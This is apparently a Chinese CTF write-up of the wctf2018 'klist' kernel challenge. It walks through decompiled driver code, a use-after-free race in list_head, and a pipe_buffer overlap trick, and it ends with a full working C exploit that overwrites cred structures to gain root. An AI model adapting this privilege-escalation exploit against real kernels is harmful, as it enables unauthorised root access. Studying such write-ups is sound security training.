0%

UAF+条件竞争

wctf2018-klist 复现

1
2
3
4
5
6
7
8
9
10
11
12
#!/bin/sh

qemu-system-x86_64
-enable-kvm
-cpu kvm64,+smep # 开了smep
-kernel ./bzImage
-append "console=ttyS0 root=/dev/ram rw oops=panic panic=1 quiet kaslr" # 开了kaslr
-initrd ./rootfs.cpio
-nographic -m 2G # 我去,直接给2G
-smp cores=2,threads=2,sockets=1 -monitor /dev/null
-nographic
~

PS:我们加上 “-s” 方便调试

然后做好基础工作:解压 rootfs.cpio,提取 vmlinux,提取 gadget

一般的 kernel pwn 都喜欢在驱动文件那里设置漏洞,用 IDA 进行分析:

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x0)
  • list_ioctl:设置了“add_item”,“remove_item”,“select_item”函数,“list_head”函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
signed __int64 __fastcall list_ioctl(__int64 fd, unsigned int request, void *user_ptr)
{
if ( request == 0x1338 )
return select_item((fd *)fd, (__int64)user_ptr);
if ( request <= 0x1338 )
{
if ( request == 0x1337 )
return add_item((input *)user_ptr);
}
else
{
if ( request == 0x1339 )
return remove_item((__int64)user_ptr);
if ( request == 0x133A )
return list_head(user_ptr);
}
return -22LL;
}
  • add_item:创建节点,插入链表头部
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
signed __int64 __fastcall add_item(input *user_input)
{
item *list_ptr; // rax MAPDST
__int64 size; // rdx
__int64 item_ptr; // rsi
item *prev; // rax
input user_data; // [rsp+0h] [rbp-18h] BYREF

if ( copy_from_user(&user_data, user_input, 16LL) || user_data.size > 0x400uLL )
return 0xFFFFFFFFFFFFFFEALL;
list_ptr = (item *)_kmalloc(user_data.size + 24, 0x14202C0LL);
size = user_data.size;
item_ptr = user_data.ptr;
list_ptr->refcount = 1; /* 设置引用计数refcount为'1'(关键) */
list_ptr->size = size;
if ( copy_from_user(&list_ptr->data, item_ptr, size) )
{
kfree(list_ptr);
return 0xFFFFFFFFFFFFFFEALL;
}
else
{
mutex_lock(&list_lock); /* 添加互斥锁 */
prev = g_list;
g_list = list_ptr; /* 直接插头 */
list_ptr->next = prev;
mutex_unlock(&list_lock); /* 解除互斥锁 */
return 0LL;
}
}
  • remove_item:释放结点,并且脱链
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
signed __int64 __fastcall remove_item(__int64 idx)
{
item *list_unit; // rax MAPDST
__int64 i; // rdx
item *delete_list_unit; // rdi

if ( idx >= 0 )
{
mutex_lock(&list_lock); /* 添加互斥锁 */
if ( !idx )
{
list_unit = g_list;
if ( g_list )
{
g_list = g_list->next;
put(list_unit);
mutex_unlock(&list_lock); /* 解除互斥锁 */
return 0LL;
}
goto LABEL_12;
}
list_unit = g_list;
if ( idx != 1 )
{
if ( !g_list )
{
LABEL_12:
mutex_unlock(&list_lock); /* 解除互斥锁 */
return 0xFFFFFFFFFFFFFFEALL;
}
i = 1LL;
while ( 1 )
{
++i;
list_unit = list_unit->next;
if ( idx == i )
break;
if ( !list_unit )
goto LABEL_12;
}
}
delete_list_unit = list_unit->next;
if ( delete_list_unit )
{
list_unit->next = delete_list_unit->next;
put(delete_list_unit);
mutex_unlock(&list_lock); /* 解除互斥锁 */
return 0LL;
}
goto LABEL_12;
}
return 0xFFFFFFFFFFFFFFEALL;
}
  • select_item:选择指定位置的节点记录到缓冲区里(这样才能对其进行 read/write 操作)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
signed __int64 __fastcall select_item(fd *fd, __int64 idx)
{
item *list_unit; // rbx
__int64 i; // rax
list *using_list; // rbp

mutex_lock(&list_lock); /* 添加互斥锁 */
list_unit = g_list; /* g_list为list_unit链表头 */
if ( idx > 0 )
{
if ( !g_list ) /* 头结点不存在,返回错误代码 */
{
LABEL_8:
mutex_unlock(&list_lock); /* 解除互斥锁 */
return 0xFFFFFFFFFFFFFFEALL;
}
i = 0LL;
while ( 1 ) /* 遍历整个list_unit链表,获取对应index的item结点 */
{
++i;
list_unit = list_unit->next;
if ( idx == i )
break;
if ( !list_unit )
goto LABEL_8;
}
}
if ( !list_unit ) /* 输入的index没有对应的结点,返回错误代码 */
return 0xFFFFFFFFFFFFFFEALL;
get(list_unit);
mutex_unlock(&list_lock); /* 解除互斥锁 */
using_list = fd->using_list; /* 从结构体fd中获取内核缓冲区(从kmem_cache分配) */
mutex_lock(&using_list->mutex); /* 添加互斥锁 */
put(using_list->item);
using_list->item = list_unit; /* 注意:如果item在put中被释放,后面的解锁就会报错 */
mutex_unlock(using_list->mutex); /* 解除互斥锁 */
return 0LL;
}

void __fastcall get(item *item)
{
_InterlockedIncrement(&item->refcount); /* 实现数的原子加 */
}

__int64 __fastcall put(item *item)
{
__int64 result; // rax

if ( item )
{
if ( !_InterlockedDecrement(&item->refcount) ) /* 实现数的原子减 */
return kfree(item); /* item->refcount减到'0'后释放item */
}
return result;
}
  • list_open:打开一个文件
1
2
3
4
5
6
7
8
9
__int64 __fastcall list_open(__int64 a1, fd *fd)
{
list *using_list; // rbx

using_list = (list *)kmem_cache_alloc_trace(kmalloc_caches[6], 0x14282C0LL, 0x28LL); /* 从kmem_cache中分配一个object,作为缓冲区 */
_mutex_init(&using_list->mutex, "&data->lock", &copy_from_user); /* 初始化互斥锁 */
fd->using_list = using_list; /* 把缓冲区using_list存储在fd结构体中 */
return 0LL;
}
  • list_read:读操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
unsigned __int64 __fastcall list_read(fd *fd, __int64 addr, unsigned __int64 size)
{
list *using_list; // r13
item *item; // rsi
__int64 *mutex_var; // rdi

using_list = fd->using_list; /* 从结构体fd中获取内核缓冲区(从kmem_cache分配) */
mutex_lock(&using_list->mutex); /* 添加互斥锁 */
item = using_list->item; /* item:指向缓冲区的指针 */
if ( using_list->item )
{
if ( item->size <= size )
size = item->size; /* 限制点:杜绝了缓冲区溢出的发生 */
mutex_var = using_list->mutex;
if ( copy_to_user(addr, &item->data, size) ) /* 把内核数据拷贝到用户缓冲区 */
{
mutex_unlock(mutex_var); /* 解除互斥锁 */
return 0xFFFFFFFFFFFFFFEALL;
}
else
{
mutex_unlock(mutex_var); /* 解除互斥锁 */
return size;
}
}
else
{
mutex_unlockusing_list->mutex); /* 解除互斥锁 */
return 0xFFFFFFFFFFFFFFEALL;
}
}
  • list_write:写操作
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
unsigned __int64 __fastcall list_write(fd *fd, __int64 addr, unsigned __int64 size)
{
list *using_list; // rbp
item *item; // rdi
__int64 v6; // rax
__int64 *mutex_var; // rdi

using_list = fd->using_list; /* 从结构体fd中获取内核缓冲区(从kmem_cache分配) */
mutex_lock(&using_list->mutex); /* 添加互斥锁 */
item = using_list->item; /* item:指向缓冲区的指针 */
if ( using_list->item )
{
if ( item->size <= size )
size = item->size; /* 限制点:杜绝了缓冲区溢出的发生 */
v6 = copy_from_user(&item->data, addr, size); /* 从用户缓冲区拷贝数据到内核 */
mutex_var = using_list->mutex;
if ( v6 ) /* copy_from_user失败返回没有被拷贝的字节数,成功返回'0' */
{
mutex_unlock(mutex_var); /* 解除互斥锁 */
return 0xFFFFFFFFFFFFFFEALL;
}
else
{
mutex_unlock(mutex_var); /* 解除互斥锁 */
return size;
}
}
else
{
mutex_unlockusing_list->mutex); /* 解除互斥锁 */
return 0xFFFFFFFFFFFFFFEALL;
}
}
  • list_head:获取链表头中的内核数据,返回给用户空间
1
2
3
4
5
6
7
8
9
10
11
12
13
unsigned __int64 __fastcall list_head(void *addr)
{
item *item; // rbx
unsigned __int64 v2; // rbx

mutex_lock(&list_lock); /* 添加互斥锁 */
get(g_list);
item = g_list;
mutex_unlock(&list_lock); /* 解除互斥锁 */
v2 = -(__int64)(copy_to_user(addr, item, item->size + 24) != 0) & 0xFFFFFFFFFFFFFFEALL;
put(g_list); /* 漏洞点:put在互斥锁外(没有收到保护) */
return v2;
}
  • init_module:初始化驱动程序(绑定 “/dev/klist”)
1
2
3
4
__int64 init_module()
{
return _register_chrdev(137LL, 0LL, 256LL, "klist", &list_fops);
}

入侵思路:

  • list_head 函数中的 put 在互斥锁外
  • add_item 函数中的 refcount 被初始化为“1”

假如,在 list_head 函数的 get 操作之后,put 操作之前,另一个线程正好创建了一个新节点,把 g_list 赋值为了这个新节点,接下来 put 操作,将 g_list 的 used 减去“1”后发现为“0”,就会释放这个节点,然后却没有把 g_list 指向下一个节点,这就造成了堆的UAF

  • PS:直接使用 remove_item 会导致目标结点脱链,构不成 UAF,即使生成了 pipe_buffer 也没法控制

下面是 init 程序,看一下我们拥有哪些权限:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
➜  rootfs cat init 
#!/bin/sh

mount -nvt tmpfs none /dev
mknod -m 622 /dev/console c 5 1
mknod -m 666 /dev/null c 1 3
mknod -m 666 /dev/zero c 1 5
mknod -m 666 /dev/ptmx c 5 2
mknod -m 666 /dev/tty c 5 0
mknod -m 0660 /dev/ttyS0 c 4 64
mknod -m 444 /dev/random c 1 8
mknod -m 444 /dev/urandom c 1 9
chown root:tty /dev/console
chown root:tty /dev/ptmx # 没有权限打开/dev/ptmx,获取不了tty_struct
chown root:tty /dev/tty
mkdir -p /dev/pts
mount -vt devpts -o gid=4,mode=620 none /dev/pts

mount -t proc proc /proc
mount -t sysfs sysfs /sys

cat /root/signature

echo 0 > /proc/sys/kernel/kptr_restrict
echo 0 > /proc/sys/kernel/dmesg_restrict

echo flag{messy_in_kernel} > /flag # 创建flag
chmod 400 /flag
insmod /list.ko
mknod /dev/klist c 137 1
chmod a+rw /dev/klist
cat /proc/kallsyms |grep commit_cred
lsmod
#cat /sys/module/list/sections/.text
setsid cttyhack setuidgid 0 sh

umount /proc
umount /sys

halt -d 1 -n -f
  • 没有权限去使用 tty_struct attack
  • 但是 ha1vk 大佬有一个巧妙的方法就是利用 pipe 管道,在 pipe 创建管道的时候,会申请这样一个结构:
1
2
3
4
5
6
7
struct pipe_buffer {  
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
  • 其中,page 是 pipe 存放数据的缓冲区,offset 和 len 是数据的偏移和长度,一开始,offset 和 len都是“0”,当我们 write(pfd[1],buf,0x100) 的时候,offset = 0,len = 0x100
  • 然而,我们注意到,offset 和 len 都是4字节数据,如果把它们拼在一起,凑成8字节,就是 0x10000000000,如果能够与 list_node 的 size 域对应起来,我们就能溢出堆了
1
2
3
4
5
6
7
8
00000000 item            struc ; (sizeof=0x20, mappedto_5)
00000000 refcount dd ?
00000004 null dd ?
00000008 size dq ? /* item->size控制着该内核缓冲区的size(将其进行修改) */
00000010 next dq ? ; offset
00000018 data dq ?
00000020 item ends

  • 因此,我们一开始申请一个与 pipe_buffer 大小一样的堆,然后利用竞争释放后,创建一个管道,pipe_buffer 就会申请到这里,接下来再 write(pfd[1],buf,0x100)
    • 作为管道:它的 pipe_buffer->offset 变为“0”,pipe_buffer->len 变为“100”
    • 作为结点:它的 item->size 变为“0x10000000000”,那么我们就能溢出堆了

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/ioctl.h>

#define PIPE_BUFFER_SIZE 0x280 // pipe_buffer的大小,阅读源码可知

int fd; // 驱动的fd

// 打开驱动
void initFD() {
fd = open("/dev/klist",O_RDWR);
if (fd < 0) {
printf("[-]open file error!!\n");
exit(-1);
}
}

// 创建节点时需要发送的数据(和驱动程序中的input结构体有关)
struct Data {
size_t size;
char *buf;
};

void addItem(char *buf,size_t size) {
struct Data data;
data.size = size;
data.buf = buf;
ioctl(fd,0x1337,&data);
}

void removeItem(int64_t index) {
ioctl(fd,0x1339,index);
}

void selectItem(int64_t index) {
ioctl(fd,0x1338,index);
}

void listHead(char *buf) {
ioctl(fd,0x133A,buf);
}

void listRead(void *buf,size_t size) {
read(fd,buf,size);
}

void listWrite(void *buf,size_t size) {
write(fd,buf,size);
}

// 检查是否root成功
void checkWin(int i) {
while (1) {
sleep(1);
if (getuid() == 0) {
printf("Rooted in subprocess [%d]\n",i);
system("cat flag"); // 我们很难getshell
exit(0);
}
}
}

#define BUF_SIZE PIPE_BUFFER_SIZE
#define UID 1000

char buf[BUF_SIZE];
char buf2[BUF_SIZE];
char bufA[BUF_SIZE];
char bufB[BUF_SIZE];

void fillBuf() {
memset(bufA,'a',BUF_SIZE);
memset(bufB,'b',BUF_SIZE);
}

int main() {
initFD(); /* 打开/dev/klist */
fillBuf(); /* 填充缓冲区 */
addItem(bufA,BUF_SIZE-24); /* 设置该用户缓冲区与内核缓冲区进行交互 */
selectItem(0); /* 选择指定位置的节点记录到缓冲区里(遍历整个list_unit链表,获取对应index的item结点) */
int pid = fork();
if (pid < 0) {
printf("[-]fork error!!\n");
exit(-1);
} else if (pid == 0) {
for (int i=0;i<200;i++) { // 增加cred结构被分配到堆下方内存的成功率
if (fork() == 0) {
checkWin(i+1); // 子进程结束时,执行checkWin
}
}
while (1) { // 与主线程的listHead竞争
/* 这里不停地进行"绑定","选择","删除","读取"......
如果在get操作之后,put操作之前,另一个线程正好创建了一个新节点
那么该新结点就会被put释放(refcount被put减为'0')
并且另一个线程还是可以操作该新结点 */

/* <--- 假设上述操作执行成功 ---> */
addItem(bufA,BUF_SIZE-24); /* 头结点会被替换,并且被put释放,释放之后的内核缓冲区数据发生改变(不再是'a') */
selectItem(0); /* 选择头结点 */
removeItem(0); /* 二次释放,没有影响(只有条件竞争没有成功时,这里才有作用) */
addItem(bufB,BUF_SIZE-24); /* 申请该内核空间为头结点 */
listRead(buf2,BUF_SIZE-24); /* 把头结点中的数据拷贝到buf2(不再是'a') */
if (buf2[0] != 'a') {
printf("race compete in child process!!\n");
break;
}
removeItem(0);
}

/* <--- 条件竞争成功 ---> */
sleep(1);
removeItem(0); /* 把空间腾出来 */
int pfd[2];
pipe(pfd); /* 管道的pipe_buffer将会申请到我们能够UAF控制的空间里 */
write(pfd[1],bufB,BUF_SIZE);
size_t memLen = 0x1000000;
uint32_t *data = (uint32_t *)calloc(1,memLen); /* 申请缓冲区,用于存储数据 */
listRead(data,memLen); /* 向data读入'0x1000000'字节的内核数据 */
int count = 0;
size_t maxLen = 0;
for (int i=0;i<memLen/4;i++) {
if (data[i] == UID && data[i+1] == UID && data[i+7] == UID) {
/* 搜索合法的cred,并将其uid-fsgid都修改为'0',使其具有root权限 */
memset(data+i,0,28);
maxLen = i;
printf("[+]found cred!!\n");
if (count ++ > 2) {
break;
}
}
}
listWrite(data,maxLen * 4);
checkWin(0);
} else { // 主线程
while (1) {
listHead(buf);
listRead(buf,BUF_SIZE-24);
if(buf[0] != 'a')
break;
}
}
return 0;
}

小结:

感受了一下条件竞争打法,学到了不少的东西